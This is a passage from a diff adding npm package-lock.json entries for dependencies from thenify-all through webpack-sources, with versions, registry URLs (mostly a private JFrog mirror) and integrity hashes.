"version": "1.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "requires": { + "thenify": ">= 3.1.0 < 4" + } + }, + "throat": { + "version": "6.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/throat/-/throat-6.0.2.tgz", + "integrity": "sha512-WKexMoJj3vEuK0yFEapj8y64V0A6xcuPuK9Gt1d0R+dzCSJc0lHqQytAbSB4cDAK0dWh4T0E2ETkoLE2WZ41OQ==" + }, + "thunky": { + "version": "1.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/thunky/-/thunky-1.1.0.tgz", + "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==" + }, + "tmpl": { + "version": "1.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tmpl/-/tmpl-1.0.5.tgz", + "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw==" + }, + "to-fast-properties": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==" + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "requires": { + "is-number": "^7.0.0" + } + }, + "toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==" + }, + "tough-cookie": { + "version": "4.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tough-cookie/-/tough-cookie-4.1.3.tgz", + "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", + "requires": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "dependencies": { + "universalify": { + "version": "0.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==" + } + } + }, + "tr46": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tr46/-/tr46-2.1.0.tgz", + "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==", + "requires": { + "punycode": "^2.1.1" + } + }, + "tryer": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tryer/-/tryer-1.0.1.tgz", + "integrity": "sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA==" + }, + "ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==" + }, + "tsconfig-paths": { + "version": "3.14.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tsconfig-paths/-/tsconfig-paths-3.14.2.tgz", + "integrity": "sha512-o/9iXgCYc5L/JxCHPe3Hvh8Q/2xm5Z+p18PESBU6Ff33695QnCHBEjcytY2q19ua7Mbl/DavtBOLq+oG0RCL+g==", + "requires": { + "@types/json5": "^0.0.29", + "json5": "^1.0.2", + "minimist": "^1.2.6", + "strip-bom": "^3.0.0" + }, + "dependencies": { + "json5": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json5/-/json5-1.0.2.tgz", + "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==", + "requires": { + "minimist": "^1.2.0" + } + }, + "strip-bom": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==" + } + } + }, + "tslib": { + "version": "2.5.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tslib/-/tslib-2.5.3.tgz", + "integrity": "sha512-mSxlJJwl3BMEQCUNnxXBU9jP4JBktcEGhURcPR6VQVlnP0FdDEsIaz0C35dXNGLyRfrATNofF0F5p2KPxQgB+w==" + }, + "tsutils": { + "version": "3.21.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tsutils/-/tsutils-3.21.0.tgz", + "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==", + "requires": { + "tslib": "^1.8.1" + }, + "dependencies": { + "tslib": { + "version": "1.14.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==" + } + } + }, + "type-check": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "requires": { + "prelude-ls": "^1.2.1" + } + }, + "type-detect": { + "version": "4.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==" + }, + "type-fest": { + "version": "0.21.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==" + }, + "type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "requires": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + } + }, + "typed-array-length": { + "version": "1.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/typed-array-length/-/typed-array-length-1.0.4.tgz", + "integrity": "sha512-KjZypGq+I/H7HI5HlOoGHkWUUGq+Q0TPhQurLbyrVrvnKTBgzLhIJ7j6J/XTQOi0d1RjyZ0wdas8bKs2p0x3Ng==", + "requires": { + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "is-typed-array": "^1.1.9" + } + }, + "typedarray-to-buffer": { + "version": "3.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "requires": { + "is-typedarray": "^1.0.0" + } + }, + "typescript": { + "version": "4.9.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/typescript/-/typescript-4.9.5.tgz", + "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==", + "peer": true + }, + "unbox-primitive": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unbox-primitive/-/unbox-primitive-1.0.2.tgz", + "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==", + "requires": { + "call-bind": "^1.0.2", + "has-bigints": "^1.0.2", + "has-symbols": "^1.0.3", + "which-boxed-primitive": "^1.0.2" + } + }, + "unicode-canonical-property-names-ecmascript": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==" + }, + "unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "requires": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + } + }, + "unicode-match-property-value-ecmascript": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz", + "integrity": "sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==" + }, + "unicode-property-aliases-ecmascript": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==" + }, + "unique-string": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unique-string/-/unique-string-2.0.0.tgz", + "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==", + "requires": { + "crypto-random-string": "^2.0.0" + } + }, + "universalify": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==" + }, + "unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==" + }, + "unquote": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/unquote/-/unquote-1.1.1.tgz", + "integrity": "sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg==" + }, + "upath": { + "version": "1.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==" + }, + "update-browserslist-db": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.0.tgz", + "integrity": "sha512-EdRAaAyk2cUE1wOf2DkEhzxqOQvFOoRJFNS6NeyJ01Gp2beMRpBAINjM2iDXE3KCuKhwnvHIQCJm6ThL2Z+HzQ==", + "requires": { + "escalade": "^3.1.2", + "picocolors": "^1.0.1" + } + }, + "uri-js": { + "version": "4.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "requires": { + "punycode": "^2.1.0" + } + }, + "url-parse": { + "version": "1.5.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "requires": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" + }, + "util.promisify": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/util.promisify/-/util.promisify-1.0.1.tgz", + "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==", + "requires": { + "define-properties": "^1.1.3", + "es-abstract": "^1.17.2", + "has-symbols": "^1.0.1", + "object.getownpropertydescriptors": "^2.1.0" + } + }, + "utila": { + "version": "0.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/utila/-/utila-0.4.0.tgz", + "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==" + }, + "utils-merge": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==" + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" + }, + "v8-to-istanbul": { + "version": "8.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz", + "integrity": "sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==", + "requires": { + "@types/istanbul-lib-coverage": "^2.0.1", + "convert-source-map": "^1.6.0", + "source-map": "^0.7.3" + } + }, + "vary": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==" + }, + "w3c-hr-time": { + "version": "1.0.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", + "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", + "requires": { + "browser-process-hrtime": "^1.0.0" + } + }, + "w3c-xmlserializer": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz", + "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==", + "requires": { + "xml-name-validator": "^3.0.0" + } + }, + "walker": { + "version": "1.0.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", + "requires": { + "makeerror": "1.0.12" + } + }, + "watchpack": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.2.tgz", + "integrity": "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==", + "requires": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + } + }, + "wbuf": { + "version": "1.7.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "requires": { + "minimalistic-assert": "^1.0.0" + } + }, + "web-vitals": { + "version": "2.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/web-vitals/-/web-vitals-2.1.4.tgz", + "integrity": "sha512-sVWcwhU5mX6crfI5Vd2dC4qchyTqxV8URinzt25XqVh+bHEPGH4C3NPrNionCP7Obx59wrYEbNlw4Z8sjALzZg==" + }, + "webidl-conversions": { + "version": "6.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webidl-conversions/-/webidl-conversions-6.1.0.tgz", + "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==" + }, + "webpack": { + "version": "5.94.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.94.0.tgz", + "integrity": "sha512-KcsGn50VT+06JH/iunZJedYGUJS5FGjow8wb9c0v5n1Om8O1g4L6LjtfxwlXIATopoQu+vOXXa7gYisWxCoPyg==", + "requires": { + "@types/estree": "^1.0.5", + "@webassemblyjs/ast": "^1.12.1", + "@webassemblyjs/wasm-edit": "^1.12.1", + "@webassemblyjs/wasm-parser": "^1.12.1", + "acorn": "^8.7.1", + "acorn-import-attributes": "^1.9.5", + "browserslist": "^4.21.10", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.17.1", + "es-module-lexer": "^1.2.1", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.11", + "json-parse-even-better-errors": "^2.3.1", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.2.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.3.10", + "watchpack": "^2.4.1", + "webpack-sources": "^3.2.3" + }, + "dependencies": { + "eslint-scope": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "requires": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + } + }, + "estraverse": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==" + } + } + }, + "webpack-dev-middleware": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz", + "integrity": "sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==", + "requires": { + "colorette": "^2.0.10", + "memfs": "^3.4.3", + "mime-types": "^2.1.31", + "range-parser": "^1.2.1", + "schema-utils": "^4.0.0" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "schema-utils": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "requires": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + } + } + } + }, + "webpack-dev-server": { + "version": "4.15.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webpack-dev-server/-/webpack-dev-server-4.15.1.tgz", + "integrity": "sha512-5hbAst3h3C3L8w6W4P96L5vaV0PxSmJhxZvWKYIdgxOQm8pNZ5dEOmmSLBVpP85ReeyRt6AS1QJNyo/oFFPeVA==", + "requires": { + "@types/bonjour": "^3.5.9", + "@types/connect-history-api-fallback": "^1.3.5", + "@types/express": "^4.17.13", + "@types/serve-index": "^1.9.1", + "@types/serve-static": "^1.13.10", + "@types/sockjs": "^0.3.33", + "@types/ws": "^8.5.5", + "ansi-html-community": "^0.0.8", + "bonjour-service": "^1.0.11", + "chokidar": "^3.5.3", + "colorette": "^2.0.10", + "compression": "^1.7.4", + "connect-history-api-fallback": "^2.0.0", + "default-gateway": "^6.0.3", + "express": "^4.17.3", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.3", + "ipaddr.js": "^2.0.1", + "launch-editor": "^2.6.0", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "rimraf": "^3.0.2", + "schema-utils": "^4.0.0", + "selfsigned": "^2.1.1", + "serve-index": "^1.9.1", + "sockjs": "^0.3.24", + "spdy": "^4.0.2", + "webpack-dev-middleware": "^5.3.1", + "ws": "^8.13.0" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "schema-utils": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "requires": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + } + }, + "ws": { + "version": "8.13.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ws/-/ws-8.13.0.tgz", + "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", + "requires": {} + } + } + }, + "webpack-manifest-plugin": { + "version": "4.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz", + "integrity": "sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==", + "requires": { + "tapable": "^2.0.0", + "webpack-sources": "^2.2.0" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + }, + "webpack-sources": { + "version": "2.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webpack-sources/-/webpack-sources-2.3.1.tgz", + "integrity": "sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==", + "requires": { + "source-list-map": "^2.0.1", + "source-map": "^0.6.1" + } + } + } + }, + "webpack-sources": { + "version": "3.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": 